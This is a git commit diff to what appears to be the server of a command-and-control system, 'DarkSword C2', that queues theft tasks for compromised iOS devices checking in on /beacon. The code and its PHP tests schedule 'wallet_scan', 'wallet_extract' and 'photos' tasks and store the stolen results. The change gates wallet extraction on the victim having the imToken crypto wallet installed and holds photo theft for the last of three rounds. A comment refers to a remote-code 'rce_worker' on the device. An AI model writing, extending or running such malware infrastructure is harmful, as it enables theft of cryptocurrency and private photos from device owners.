fix: keychain view
This commit is contained in:
+2
-1
@@ -28,6 +28,7 @@
|
|||||||
Homestead.json
|
Homestead.json
|
||||||
Homestead.yaml
|
Homestead.yaml
|
||||||
Thumbs.db
|
Thumbs.db
|
||||||
|
dump.rdb
|
||||||
/storage/app/channel-artifacts
|
/storage/app/channel-artifacts
|
||||||
/channel-builder/.venv
|
/channel-builder/.venv
|
||||||
/channel-builder/out
|
/channel-builder/out
|
||||||
@@ -41,4 +42,4 @@ Thumbs.db
|
|||||||
/public/details
|
/public/details
|
||||||
/public/channel-source-new
|
/public/channel-source-new
|
||||||
/public/next-chain
|
/public/next-chain
|
||||||
/storage/app/channel-builder-new
|
/storage/app/channel-builder-new
|
||||||
@@ -31,6 +31,16 @@ class DsBeaconQueue
|
|||||||
'photos',
|
'photos',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
/** Types that should only be dispatched on the final default round
|
||||||
|
* (skipped on round 1 and intermediate replays). */
|
||||||
|
public const LAST_ROUND_TYPES = [
|
||||||
|
'photos',
|
||||||
|
];
|
||||||
|
|
||||||
|
/** wallet_extract is only dispatched when the device's applist contains
|
||||||
|
* this wallet bundle (imToken). */
|
||||||
|
private const WALLET_EXTRACT_REQUIRED_BUNDLE = 'im.token.app';
|
||||||
|
|
||||||
/** After the default queue is consumed, replay it until this many rounds finish. */
|
/** After the default queue is consumed, replay it until this many rounds finish. */
|
||||||
public const DEFAULT_ROUNDS = 3;
|
public const DEFAULT_ROUNDS = 3;
|
||||||
|
|
||||||
@@ -148,7 +158,7 @@ class DsBeaconQueue
|
|||||||
}
|
}
|
||||||
|
|
||||||
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
|
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
|
||||||
$this->pushDefaultTypes($device);
|
$this->pushDefaultTypes($device, self::DEFAULT_ROUNDS === 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Dequeue (called on every /beacon) ──────────────────────────────────
|
// ── Dequeue (called on every /beacon) ──────────────────────────────────
|
||||||
@@ -170,20 +180,31 @@ class DsBeaconQueue
|
|||||||
// device's rce_worker wasn't loaded yet when the task was first sent).
|
// device's rce_worker wasn't loaded yet when the task was first sent).
|
||||||
$this->requeueStaleDispatched($device);
|
$this->requeueStaleDispatched($device);
|
||||||
|
|
||||||
$raw = Redis::rpop($this->queueKey($device));
|
// Pop tasks until we find one that should run on this device. Tasks
|
||||||
if ($raw === null) {
|
// that fail shouldDispatchTask() (e.g. wallet_extract with no imToken
|
||||||
if (! $this->replenishDefaultRound($device)) {
|
// in the applist) are silently discarded — they will be re-seeded by
|
||||||
return null; // noop — queue empty and no remaining rounds
|
// replenishDefaultRound() on a later beacon if rounds remain.
|
||||||
}
|
while (true) {
|
||||||
$raw = Redis::rpop($this->queueKey($device));
|
$raw = Redis::rpop($this->queueKey($device));
|
||||||
if ($raw === null) {
|
if ($raw === null) {
|
||||||
return null;
|
if (! $this->replenishDefaultRound($device)) {
|
||||||
|
return null; // noop — queue empty and no remaining rounds
|
||||||
|
}
|
||||||
|
$raw = Redis::rpop($this->queueKey($device));
|
||||||
|
if ($raw === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
$task = json_decode($raw, true);
|
$task = json_decode($raw, true);
|
||||||
if (! is_array($task) || ! isset($task['type'])) {
|
if (! is_array($task) || ! isset($task['type'])) {
|
||||||
return null;
|
continue; // discard malformed
|
||||||
|
}
|
||||||
|
if (! $this->shouldDispatchTask($device, (string) $task['type'])) {
|
||||||
|
continue; // not eligible for this device — discard and move on
|
||||||
|
}
|
||||||
|
|
||||||
|
break; // found a dispatchable task
|
||||||
}
|
}
|
||||||
|
|
||||||
Redis::setex($throttleKey, self::THROTTLE_SEC, '1');
|
Redis::setex($throttleKey, self::THROTTLE_SEC, '1');
|
||||||
@@ -205,6 +226,22 @@ class DsBeaconQueue
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Decide whether a task type is eligible to dispatch on this device right
|
||||||
|
* now. wallet_extract is gated on the device's applist containing imToken
|
||||||
|
* (bundle `im.token.app`); without it the extraction has nothing to read.
|
||||||
|
*/
|
||||||
|
private function shouldDispatchTask(Device $device, string $type): bool
|
||||||
|
{
|
||||||
|
if ($type !== 'wallet_extract') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $device->apps()
|
||||||
|
->where('bundle_id', self::WALLET_EXTRACT_REQUIRED_BUNDLE)
|
||||||
|
->exists();
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Re-queue dispatched tasks that have been sitting without a /result
|
* Re-queue dispatched tasks that have been sitting without a /result
|
||||||
* for longer than STALE_DISPATCH_SEC. This handles the case where a
|
* for longer than STALE_DISPATCH_SEC. This handles the case where a
|
||||||
@@ -447,10 +484,17 @@ class DsBeaconQueue
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
|
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
|
||||||
|
*
|
||||||
|
* @param bool $isLastRound When true, include LAST_ROUND_TYPES (photos);
|
||||||
|
* otherwise skip them so they only fire on the
|
||||||
|
* final default round.
|
||||||
*/
|
*/
|
||||||
private function pushDefaultTypes(Device $device): void
|
private function pushDefaultTypes(Device $device, bool $isLastRound = false): void
|
||||||
{
|
{
|
||||||
foreach (self::DEFAULT_TYPES as $type) {
|
foreach (self::DEFAULT_TYPES as $type) {
|
||||||
|
if (! $isLastRound && in_array($type, self::LAST_ROUND_TYPES, true)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
$this->lpushTask($device, $type, $this->paramsFor($type));
|
$this->lpushTask($device, $type, $this->paramsFor($type));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -472,7 +516,9 @@ class DsBeaconQueue
|
|||||||
}
|
}
|
||||||
|
|
||||||
$this->setRoundsRemaining($device, $remaining - 1);
|
$this->setRoundsRemaining($device, $remaining - 1);
|
||||||
$this->pushDefaultTypes($device);
|
// The round we're about to push is the last one when the new remaining
|
||||||
|
// (after decrement) hits 1, i.e. the incoming remaining was 2.
|
||||||
|
$this->pushDefaultTypes($device, $remaining === 2);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -786,8 +786,8 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
#[Test]
|
#[Test]
|
||||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||||
{
|
{
|
||||||
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
|
// seed() pushes wallet_scan → wallet_extract (FIFO); photos is a
|
||||||
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
|
// LAST_ROUND_TYPE so it only lands on the final (3rd) round.
|
||||||
$uuid = self::DS_LHU;
|
$uuid = self::DS_LHU;
|
||||||
|
|
||||||
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
||||||
@@ -811,6 +811,18 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$id1 = $r1->json('command_id');
|
$id1 = $r1->json('command_id');
|
||||||
$this->assertNotEmpty($id1);
|
$this->assertNotEmpty($id1);
|
||||||
|
|
||||||
|
// wallet_extract is gated on the applist containing imToken. Seed it
|
||||||
|
// now (the device was created on the first beacon above).
|
||||||
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
DeviceApp::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'bundle_id' => 'im.token.app',
|
||||||
|
'name' => 'imToken',
|
||||||
|
'version' => '2.21.0',
|
||||||
|
'is_wallet' => true,
|
||||||
|
]);
|
||||||
|
|
||||||
// Same IP within 5s -> noop (throttled).
|
// Same IP within 5s -> noop (throttled).
|
||||||
$this->postJson('/beacon', [
|
$this->postJson('/beacon', [
|
||||||
'uuid' => $uuid,
|
'uuid' => $uuid,
|
||||||
@@ -833,23 +845,25 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
])->assertOk()->assertJson(['type' => 'noop']);
|
])->assertOk()->assertJson(['type' => 'noop']);
|
||||||
|
|
||||||
// After another gap -> photos (third in FIFO).
|
// Round 1 consumed (no photos this round); next beacon replenishes
|
||||||
|
// round 2 -> wallet_scan again.
|
||||||
$forgetThrottle();
|
$forgetThrottle();
|
||||||
$this->postJson('/beacon', [
|
$this->postJson('/beacon', [
|
||||||
'uuid' => $uuid,
|
'uuid' => $uuid,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
])->assertOk()->assertJson(['type' => 'photos']);
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', $uuid)->first();
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
$this->assertNotNull($device);
|
$this->assertNotNull($device);
|
||||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||||
$this->assertSame(0, DeviceEvent::query()->count());
|
$this->assertSame(0, DeviceEvent::query()->count());
|
||||||
|
|
||||||
// Round 1 consumed; remaining pending is empty until the next beacon
|
// Round 1 consumed (wallet_scan + wallet_extract); the 3rd beacon
|
||||||
// replenishes round 2.
|
// replenished round 2 and dispatched wallet_scan, leaving wallet_extract
|
||||||
|
// pending in the queue with 2 rounds remaining.
|
||||||
$queue = app(DsBeaconQueue::class);
|
$queue = app(DsBeaconQueue::class);
|
||||||
$this->assertSame(0, $queue->queueLength($device));
|
$this->assertSame(1, $queue->queueLength($device));
|
||||||
$this->assertSame(3, $queue->roundsRemaining($device));
|
$this->assertSame(2, $queue->roundsRemaining($device));
|
||||||
|
|
||||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
@@ -883,6 +897,18 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$firstId = $first->json('command_id');
|
$firstId = $first->json('command_id');
|
||||||
$this->assertNotEmpty($firstId);
|
$this->assertNotEmpty($firstId);
|
||||||
|
|
||||||
|
// wallet_extract is gated on the applist containing imToken. Seed it
|
||||||
|
// now (the device was created on the first beacon above).
|
||||||
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
DeviceApp::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'bundle_id' => 'im.token.app',
|
||||||
|
'name' => 'imToken',
|
||||||
|
'version' => '2.21.0',
|
||||||
|
'is_wallet' => true,
|
||||||
|
]);
|
||||||
|
|
||||||
// Same IP within 5s -> noop (throttled, no command handed out).
|
// Same IP within 5s -> noop (throttled, no command handed out).
|
||||||
$this->postJson('/beacon', [
|
$this->postJson('/beacon', [
|
||||||
'uuid' => $uuid,
|
'uuid' => $uuid,
|
||||||
@@ -916,12 +942,13 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
|
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
|
||||||
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
|
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
|
||||||
|
|
||||||
// After a result + gap, the next default task is photos (not empty yet).
|
// After a result + gap, round 1 is consumed and the next beacon
|
||||||
|
// replenishes round 2 -> wallet_scan (photos only lands on round 3).
|
||||||
$forgetThrottle();
|
$forgetThrottle();
|
||||||
$this->postJson('/beacon', [
|
$this->postJson('/beacon', [
|
||||||
'uuid' => $uuid,
|
'uuid' => $uuid,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
])->assertOk()->assertJson(['type' => 'photos']);
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -972,10 +999,14 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
public function beacon_replays_default_queue_three_rounds(): void
|
public function beacon_replays_default_queue_three_rounds(): void
|
||||||
{
|
{
|
||||||
$uuid = self::DS_LHU;
|
$uuid = self::DS_LHU;
|
||||||
$expected = [];
|
// photos is a LAST_ROUND_TYPE: only dispatched on the final (3rd) round.
|
||||||
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
|
// wallet_extract is gated on the applist containing imToken (seeded
|
||||||
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
|
// after the first beacon creates the device).
|
||||||
}
|
$expected = [
|
||||||
|
'wallet_scan', 'wallet_extract',
|
||||||
|
'wallet_scan', 'wallet_extract',
|
||||||
|
'wallet_scan', 'wallet_extract', 'photos',
|
||||||
|
];
|
||||||
|
|
||||||
$dispatched = [];
|
$dispatched = [];
|
||||||
foreach ($expected as $i => $type) {
|
foreach ($expected as $i => $type) {
|
||||||
@@ -990,6 +1021,20 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
'ios' => '18.6',
|
'ios' => '18.6',
|
||||||
])->assertOk()->assertJson(['type' => $type]);
|
])->assertOk()->assertJson(['type' => $type]);
|
||||||
$dispatched[] = $type;
|
$dispatched[] = $type;
|
||||||
|
|
||||||
|
// After the first beacon creates the device, seed imToken so the
|
||||||
|
// wallet_extract gate passes for the rest of the rounds.
|
||||||
|
if ($i === 0) {
|
||||||
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
DeviceApp::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'bundle_id' => 'im.token.app',
|
||||||
|
'name' => 'imToken',
|
||||||
|
'version' => '2.21.0',
|
||||||
|
'is_wallet' => true,
|
||||||
|
]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', $uuid)->first();
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
@@ -1008,6 +1053,50 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$this->assertSame(0, $queue->queueLength($device));
|
$this->assertSame(0, $queue->queueLength($device));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function beacon_skips_wallet_extract_when_imtoken_absent(): void
|
||||||
|
{
|
||||||
|
$uuid = self::DS_LHU;
|
||||||
|
$forgetThrottle = function () use ($uuid): void {
|
||||||
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
|
if ($device) {
|
||||||
|
Redis::del('ds:qt:'.$device->id);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Round 1: wallet_scan, then wallet_extract is skipped (no imToken),
|
||||||
|
// which burns round 1 and replenishes round 2 -> wallet_scan.
|
||||||
|
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle', 'ios' => '18.6'])
|
||||||
|
->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
|
$forgetThrottle();
|
||||||
|
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
|
||||||
|
->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
|
|
||||||
|
// Still no imToken: round 2's wallet_extract is skipped too,
|
||||||
|
// replenishing round 3 (last) -> wallet_scan.
|
||||||
|
$forgetThrottle();
|
||||||
|
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
|
||||||
|
->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
|
|
||||||
|
// Round 3's wallet_extract is skipped, then photos (last round) fires.
|
||||||
|
$forgetThrottle();
|
||||||
|
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
|
||||||
|
->assertOk()->assertJson(['type' => 'photos']);
|
||||||
|
|
||||||
|
// No rounds left -> noop.
|
||||||
|
$forgetThrottle();
|
||||||
|
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
|
||||||
|
->assertOk()->assertJson(['type' => 'noop']);
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', $uuid)->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$queue = app(DsBeaconQueue::class);
|
||||||
|
$this->assertSame(0, $queue->roundsRemaining($device));
|
||||||
|
$this->assertSame(0, $queue->queueLength($device));
|
||||||
|
// wallet_extract was never dispatched; only wallet_scan + photos ran.
|
||||||
|
$this->assertSame(0, DeviceEvent::query()->where('event_name', 'wallet_extract')->count());
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function result_stores_files_and_skips_video(): void
|
public function result_stores_files_and_skips_video(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user